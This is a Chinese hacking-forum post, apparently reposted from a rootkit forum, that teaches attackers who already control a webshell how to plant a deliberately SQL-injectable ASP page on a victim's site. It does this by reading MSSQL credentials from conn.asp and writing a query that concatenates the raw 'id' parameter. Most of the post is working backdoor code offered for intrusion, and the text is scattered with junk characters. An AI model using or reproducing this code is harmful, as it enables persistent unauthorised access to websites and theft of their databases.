自己构造注入点方便入侵
3 a0 q9 A [$ O4 F2 Y9 ~) B/ }- q' S( v2 k
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
$ `; I2 _' Z/ }! s% [+ q6 X; B* L, J6 z/ \
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
' W" x' b: t$ c3 `
* Q: @ s0 P0 d首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和) x) H3 H7 B' Y' _& E$ {# ~
S! U$ g, h8 L; [. C6 I
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表2 M- A* E9 O* K7 ]/ O
3 U3 ~* n4 Q! `: V因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:- k$ }7 i1 p* ?9 ]! C5 q M
* Y0 V+ _) W8 p; Z
程序代码. x! _5 I# C3 Y( g* H
<!--#include file="xx.asp"-->
2 l" y8 g% j7 b: M<%- B$ k$ M8 x: l5 c3 J8 G7 Z- M/ d3 o
set rs=server.createobject("ADODB.recordset"). R8 s' @! @2 @* j& }5 W
id = request("id")" D; H' z8 U! }6 B/ `% O9 `! k
strSQL = "select * from admin where id=" & id- m( ^& d$ o" s( J- ?
rs.open strSQL,conn,1,3* U. K1 [( s* X ?
rs.close" T/ z9 X: u& I. A% a- B6 I
%>5 Q8 U# m# n/ L/ R
5 G" x1 |/ A/ H$ o
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
2 N+ B) m% K+ z
; `$ C4 w/ r( L你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!! `3 O# v# @% u. r/ v3 E. H% J* @
0 R( b# n3 F& K然后就要构造一个连接数据库的文件了,代码如下:
5 W ~6 q; ?0 a# a$ \6 j程序代码" Q0 Z" ]* C) D1 Z
<%
0 p) k8 J- Y6 _strSQLServerName = "000.000.000.000" '服务器名称或地址
! _/ c5 Y+ { O* d: g! I XstrSQLDBUserName = "sqlname" '数据库帐号
% _- V: `: k$ |9 j6 VstrSQLDBPassword = "sqlpass" '数据库密码
- V# D0 t0 c$ ]7 w# o7 y; }strSQLDBName = "sqldataname" '数据库名称' C) D9 t' C7 x, I! I- }% Q
Set conn = Server.CreateObject("ADODB.Connection")
! T! M6 e( r+ g3 B' |5 GstrCon = " rovider=SQLOLEDB.1 ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & " assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"" A2 V9 C d2 ^+ @. H
conn.open strCon& ?# W7 }# F/ I' [* f
%>% _9 D+ z3 i" v# t
, J8 R1 l5 q; S% l
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,2 u4 ^5 _' `% B6 @
* e- v7 Z. _# y: L( B" r就这样,正常情况下,就OK了,伪造成功……! k% T }1 P) e; E: o6 G
; t u, M ?( t0 Q
如果有什么问题可以提出来大家一起探讨解决。 |